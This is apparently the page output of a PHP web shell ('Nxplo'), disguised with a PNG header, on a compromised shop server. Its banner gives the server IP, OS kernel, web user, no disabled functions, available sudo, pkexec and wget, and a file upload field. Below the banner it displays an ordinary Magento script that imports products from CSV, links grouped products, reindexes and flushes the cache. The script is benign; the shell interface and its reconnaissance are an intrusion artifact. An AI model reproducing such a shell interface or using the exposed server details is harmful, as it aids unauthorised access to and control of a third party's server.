PNG IHDR wSȚ -tEXtComment Nxplo
| Server IP : 144.76.1.235 / Your IP : 216.73.216.244 Web Server : Apache/2.4.52 (Ubuntu) System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.3.16 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/shop.einkaufsring.com/scripts/ |
Upload File : |
#!/usr/bin/env php
<?php
declare(strict_types=1);
// Silence PHP deprecations for CLI run (keeps real errors visible)
error_reporting(E_ALL & ~E_DEPRECATED & ~E_USER_DEPRECATED);
ini_set('display_errors', '1'); // still show real errors
/**
* Import products (Add/Update, skip errors) via Product importer,
* then attach grouped-product children by writing to link tables directly,
* then REINDEX all indexers and FLUSH CACHE.
*
* Default source: <magento-root>/var/import/exportmain.csv
* Override with: --in=/path/to/file.csv
*/
$mageRoot = realpath(__DIR__ . '/..');
chdir($mageRoot);
require $mageRoot . '/app/bootstrap.php';
use Magento\Framework\App\Bootstrap;
use Magento\Framework\App\Area;
use Magento\Framework\App\State;
use Magento\Framework\Filesystem;
use Magento\Framework\App\ResourceConnection;
use Magento\Framework\App\Cache\Manager as CacheManager;
use Magento\ImportExport\Model\Import;
use Magento\ImportExport\Model\Import\Source\Csv as CsvSource;
use Magento\ImportExport\Model\Import\ErrorProcessing\ProcessingErrorAggregatorInterface as ErrorAgg;
use Magento\Indexer\Model\Indexer\CollectionFactory as IndexerCollectionFactory;
use Magento\CatalogImportExport\Model\Import\Product as ProductImporter;
/* ---------- Helpers ---------- */
function sniff_delimiter(string $line): string {
$candidates = [",", ";", "\t", "|"];
$best = ","; $max = 0;
foreach ($candidates as $d) { $c = substr_count($line, $d); if ($c > $max) { $max = $c; $best = $d; } }
return $max > 0 ? $best : ",";
}
/** Parse "sku1,sku2" or "sku1=1,sku2=2" or "sku1:1" */
function parse_grouped_assoc_list(string $val): array {
$val = trim($val);
if ($val === '') return [];
$items = preg_split('/\s*,\s*/', $val);
$out = [];
foreach ($items as $item) {
if ($item === '') continue;
if (strpos($item, '=') !== false) {
[$sku, $qty] = array_map('trim', explode('=', $item, 2));
$q = (float) ($qty === '' ? 1 : $qty);
} elseif (strpos($item, ':') !== false) {
[$sku, $qty] = array_map('trim', explode(':', $item, 2));
$q = (float) ($qty === '' ? 1 : $qty);
} else {
$sku = trim($item);
$q = 1.0;
}
if ($sku !== '') $out[] = [$sku, $q];
}
return $out;
}
/**
* From a (cleaned) CSV file, build [parentSku => [[childSku, qty], ...]]
* Recognizes type columns: 'type', 'type_id', 'product_type'
* Recognizes assoc columns: 'associated_skus', '_associated_sku'
*/
function collect_grouped_relations_from_csv(string $csvPath): array {
$fh = fopen($csvPath, 'rb');
if ($fh === false) {
throw new \RuntimeException("Cannot open CSV: {$csvPath}");
}
// Always comma here because we normalize earlier
$header = fgetcsv($fh, 0, ',', '"', "\\");
if ($header === false) {
fclose($fh);
throw new \RuntimeException("Cannot read header from: {$csvPath}");
}
$map = [];
$idx = array_flip(array_map(fn($h) => strtolower(trim((string)$h)), $header));
$skuIdx = $idx['sku'] ?? null;
$typeIdx = $idx['type'] ?? ($idx['type_id'] ?? ($idx['product_type'] ?? null));
$assocIdx = $idx['associated_skus'] ?? ($idx['_associated_sku'] ?? null);
if ($skuIdx === null || $typeIdx === null || $assocIdx === null) { fclose($fh); return []; }
while (($row = fgetcsv($fh, 0, ',', '"', "\\")) !== false) {
$sku = isset($row[$skuIdx]) ? trim((string)$row[$skuIdx]) : '';
$type = isset($row[$typeIdx]) ? strtolower(trim((string)$row[$typeIdx])) : '';
if ($sku === '' || $type !== 'grouped') continue;
$assocRaw = isset($row[$assocIdx]) ? trim((string)$row[$assocIdx]) : '';
if ($assocRaw === '') continue;
$pairs = parse_grouped_assoc_list($assocRaw);
if ($pairs) $map[$sku] = $pairs;
}
fclose($fh);
return $map;
}
/* ---------- Main ---------- */
try {
@ini_set('memory_limit', '2048M');
@ini_set('max_execution_time', '0');
// Args
$inPathArg = null;
foreach ($argv as $arg) {
if (strpos($arg, '--in=') === 0) $inPathArg = substr($arg, 5);
}
// Bootstrap / DI
$bootstrap = Bootstrap::create(BP, $_SERVER);
$om = $bootstrap->getObjectManager();
/** @var State $appState */
$appState = $om->get(State::class);
try { $appState->setAreaCode(Area::AREA_ADMINHTML); } catch (\Exception $e) {}
/** @var Filesystem $fs */
$fs = $om->get(Filesystem::class);
$varPath = $fs->getDirectoryRead(\Magento\Framework\App\Filesystem\DirectoryList::VAR_DIR)->getAbsolutePath();
// Resolve CSV path
$defaultImportFile = rtrim($varPath, '/').'/import/exportmain.csv';
$inputCsv = $inPathArg
? (strpos($inPathArg, '/') === 0 ? $inPathArg : ($mageRoot . '/' . $inPathArg))
: $defaultImportFile;
if (!is_file($inputCsv) || !is_readable($inputCsv)) {
throw new \RuntimeException("Input CSV not found/readable: {$inputCsv}");
}
// --- Pre-clean: BOM + delimiter sniff + remove 'entity' column; rewrite to comma-delimited
$cleanCsv = $inputCsv;
$tmpDir = rtrim($varPath, '/').'/import';
if (!is_dir($tmpDir)) { @mkdir($tmpDir, 0775, true); }
$tmpOut = $tmpDir . '/_clean_import_' . date('Ymd_His') . '.csv';
// Peek for BOM
$fh = fopen($inputCsv, 'rb');
if ($fh === false) throw new \RuntimeException("Cannot open input CSV for reading: {$inputCsv}");
$buf = fgets($fh, 4096);
if ($buf === false) { fclose($fh); throw new \RuntimeException("Empty CSV: {$inputCsv}"); }
$hasBom = strncmp($buf, "\xEF\xBB\xBF", 3) === 0;
fclose($fh);
// Reopen after BOM
$fh = fopen($inputCsv, 'rb'); if ($fh === false) throw new \RuntimeException("Reopen failed: {$inputCsv}");
if ($hasBom) { fread($fh, 3); }
// Sniff delimiter
$firstLine = '';
while (($firstLine = fgets($fh)) !== false) {
$trim = trim($firstLine, "\r\n"); if ($trim !== '') { $firstLine = $trim; break; }
}
if ($firstLine === '' || $firstLine === false) { fclose($fh); throw new \RuntimeException("CSV has no header line: {$inputCsv}"); }
$delimiter = sniff_delimiter($firstLine);
// Parse header
fclose($fh);
$fh = fopen($inputCsv, 'rb'); if ($fh === false) throw new \RuntimeException("Reopen failed: {$inputCsv}");
if ($hasBom) { fread($fh, 3); }
$header = fgetcsv($fh, 0, $delimiter, '"', "\\");
if ($header === false) { fclose($fh); throw new \RuntimeException("Unable to parse CSV header from {$inputCsv}"); }
// Remove any 'entity' column if present
$entityIndex = -1;
foreach ($header as $i => $col) {
if (strcasecmp(trim((string)$col), 'entity') === 0) { $entityIndex = $i; break; }
}
$needsClean = $hasBom || $entityIndex !== -1 || $delimiter !== ',';
if ($needsClean) {
$out = fopen($tmpOut, 'wb');
if ($out === false) { fclose($fh); throw new \RuntimeException("Cannot open temp CSV for writing: {$tmpOut}"); }
$newHeader = $header;
if ($entityIndex !== -1) array_splice($newHeader, $entityIndex, 1);
fputcsv($out, $newHeader, ",");
while (($row = fgetcsv($fh, 0, $delimiter, '"', "\\")) !== false) {
if ($entityIndex !== -1 && array_key_exists($entityIndex, $row)) {
array_splice($row, $entityIndex, 1);
}
fputcsv($out, $row, ",");
}
fclose($out);
fclose($fh);
$cleanCsv = $tmpOut;
fwrite(STDOUT, "Cleaned CSV -> delimiter '{$delimiter}'"
. ($hasBom ? ", BOM stripped" : "")
. ($entityIndex !== -1 ? ", 'entity' column removed" : "")
. ". Using: {$cleanCsv}\n");
} else {
fclose($fh);
fwrite(STDOUT, "CSV looks clean (delimiter ',', no BOM, no 'entity' column). Using: {$cleanCsv}\n");
}
// === Import via Product importer directly (bypasses broker) ===
/** @var CsvSource $source */
$source = $om->create(CsvSource::class, ['file' => $cleanCsv]);
/** @var ProductImporter $productImporter */
$productImporter = $om->create(ProductImporter::class);
$allowedErrors = 1000000;
$productImporter->setParameters([
'behavior' => Import::BEHAVIOR_ADD_UPDATE,
'validation_strategy' => ErrorAgg::VALIDATION_STRATEGY_SKIP_ERRORS,
'allowed_error_count' => $allowedErrors,
'field_separator' => ',',
'multiple_value_separator' => ',',
]);
$productImporter->setSource($source);
$productImporter->getErrorAggregator()->initValidationStrategy(
ErrorAgg::VALIDATION_STRATEGY_SKIP_ERRORS,
$allowedErrors
);
$productImporter->validateData();
if (!$productImporter->importData()) {
$errs = $productImporter->getErrorAggregator()->getAllErrors();
fwrite(STDERR, "WARN: importData() returned false with " . count($errs) . " errors. Continuing.\n");
}
// === Gather grouped relations from CSV ===
$relations = collect_grouped_relations_from_csv($cleanCsv);
if ($relations) {
/** @var ResourceConnection $resource */
$resource = $om->get(ResourceConnection::class);
$conn = $resource->getConnection();
$tLink = $resource->getTableName('catalog_product_link');
$tAttr = $resource->getTableName('catalog_product_link_attribute');
$tInt = $resource->getTableName('catalog_product_link_attribute_int');
$tDec = $resource->getTableName('catalog_product_link_attribute_decimal');
$tVarchar = $resource->getTableName('catalog_product_link_attribute_varchar');
$tProduct = $resource->getTableName('catalog_product_entity');
// link_type_id for GROUPED is 3
$linkTypeId = 3;
// Build list of all SKUs (cast to string for safety)
$allSkus = array_keys($relations);
foreach ($relations as $pairs) {
foreach ($pairs as $p) { $allSkus[] = $p[0]; }
}
$allSkus = array_values(array_unique($allSkus, SORT_STRING));
if ($allSkus) {
// Fetch product IDs for all involved SKUs
$bind = str_repeat('?,', count($allSkus) - 1) . '?';
$rows = $conn->fetchPairs("SELECT sku, entity_id FROM {$tProduct} WHERE sku IN ($bind)", $allSkus);
// normalize to lowercase keys (cast to string first)
$skuToId = [];
foreach ($rows as $sku => $id) {
$skuToId[strtolower((string)$sku)] = (int)$id;
}
// Resolve attribute IDs and their data types for 'position' and 'qty'
$attrRows = $conn->fetchAll(
"SELECT product_link_attribute_id, product_link_attribute_code, data_type
FROM {$tAttr} WHERE link_type_id = ?", [$linkTypeId]
);
$attrMap = [];
foreach ($attrRows as $r) {
$attrMap[strtolower((string)$r['product_link_attribute_code'])] = [
'id' => (int)$r['product_link_attribute_id'],
'type' => strtolower((string)$r['data_type'])
];
}
$attrIdPos = $attrMap['position']['id'] ?? null;
$attrTypePos = $attrMap['position']['type'] ?? null;
$attrIdQty = $attrMap['qty']['id'] ?? null;
$attrTypeQty = $attrMap['qty']['type'] ?? null;
if (!$attrIdPos || !$attrIdQty) {
throw new \RuntimeException("Grouped link attributes not found (need 'position' and 'qty').");
}
// Helper to get value table by data type
$valTable = function(string $type) use ($tInt,$tDec,$tVarchar): string {
return match ($type) {
'int' => $tInt,
'decimal' => $tDec,
'varchar' => $tVarchar,
default => $tInt,
};
};
$posTable = $valTable($attrTypePos ?? 'int');
$qtyTable = $valTable($attrTypeQty ?? 'decimal');
// Start transaction
$conn->beginTransaction();
try {
foreach ($relations as $parentSku => $pairs) {
$pid = $skuToId[strtolower((string)$parentSku)] ?? null;
if (!$pid) {
fwrite(STDERR, "WARN: grouped parent SKU not found: {$parentSku}\n");
continue;
}
// Remove existing grouped links for this parent
$oldLinkIds = $conn->fetchCol(
"SELECT link_id FROM {$tLink} WHERE product_id = ? AND link_type_id = ?",
[$pid, $linkTypeId]
);
if ($oldLinkIds) {
$in = str_repeat('?,', count($oldLinkIds)-1) . '?';
$conn->query("DELETE FROM {$posTable} WHERE link_id IN ($in)", $oldLinkIds);
$conn->query("DELETE FROM {$qtyTable} WHERE link_id IN ($in)", $oldLinkIds);
$conn->query("DELETE FROM {$tLink} WHERE link_id IN ($in)", $oldLinkIds);
}
// Insert new links
$position = 0;
foreach ($pairs as $pair) {
[$childSku, $qty] = $pair;
$cid = $skuToId[strtolower((string)$childSku)] ?? null;
if (!$cid) {
fwrite(STDERR, "WARN: grouped child SKU not found: {$childSku} (parent {$parentSku})\n");
continue;
}
// create link
$conn->insert($tLink, [
'product_id' => $pid,
'linked_product_id' => $cid,
'link_type_id' => $linkTypeId,
]);
$linkId = (int)$conn->lastInsertId();
// write position
$conn->insert($posTable, [
'product_link_attribute_id' => $attrIdPos,
'link_id' => $linkId,
'value' => (int)$position,
]);
// write qty
$conn->insert($qtyTable, [
'product_link_attribute_id' => $attrIdQty,
'link_id' => $linkId,
'value' => (float)$qty,
]);
$position++;
}
fwrite(STDOUT, "Grouped links saved for parent {$parentSku} (" . $position . " children)\n");
}
$conn->commit();
} catch (\Throwable $txe) {
$conn->rollBack();
throw $txe;
}
} else {
fwrite(STDOUT, "No grouped relationships detected after parsing; skipping binding.\n");
}
} else {
fwrite(STDOUT, "No grouped relations found in CSV; skipping grouped binding step.\n");
}
/* === Reindex ALL to make everything visible === */
/** @var IndexerCollectionFactory $indexerCollectionFactory */
$indexerCollectionFactory = $om->get(IndexerCollectionFactory::class);
$indexerCollection = $indexerCollectionFactory->create();
$failed = [];
foreach ($indexerCollection as $indexer) {
try {
$title = $indexer->getTitle() ?: $indexer->getId();
fwrite(STDOUT, "Reindexing: {$title}\n");
$indexer->reindexAll();
} catch (\Throwable $ie) {
$failed[] = $indexer->getId() . ': ' . $ie->getMessage();
}
}
if ($failed) {
fwrite(STDERR, "WARN: Some indexers failed:\n - " . implode("\n - ", $failed) . "\n");
}
/* === Flush cache after reindexing === */
try {
/** @var CacheManager $cacheManager */
$cacheManager = $om->get(CacheManager::class);
$types = $cacheManager->getAvailableTypes();
$cacheManager->flush($types);
fwrite(STDOUT, "Cache flushed (" . count($types) . " cache types cleared)\n");
} catch (\Throwable $e) {
fwrite(STDERR, "WARN: Failed to flush cache: " . $e->getMessage() . "\n");
}
fwrite(STDOUT, "OK: Imported from {$inputCsv}" . ($cleanCsv !== $inputCsv ? " (cleaned via {$cleanCsv})" : "") . ", grouped children bound, reindexed all, and cache flushed.\n");
exit(0);
} catch (\Throwable $e) {
fwrite(STDERR, "ERROR: {$e->getMessage()}\n");
exit(1);
}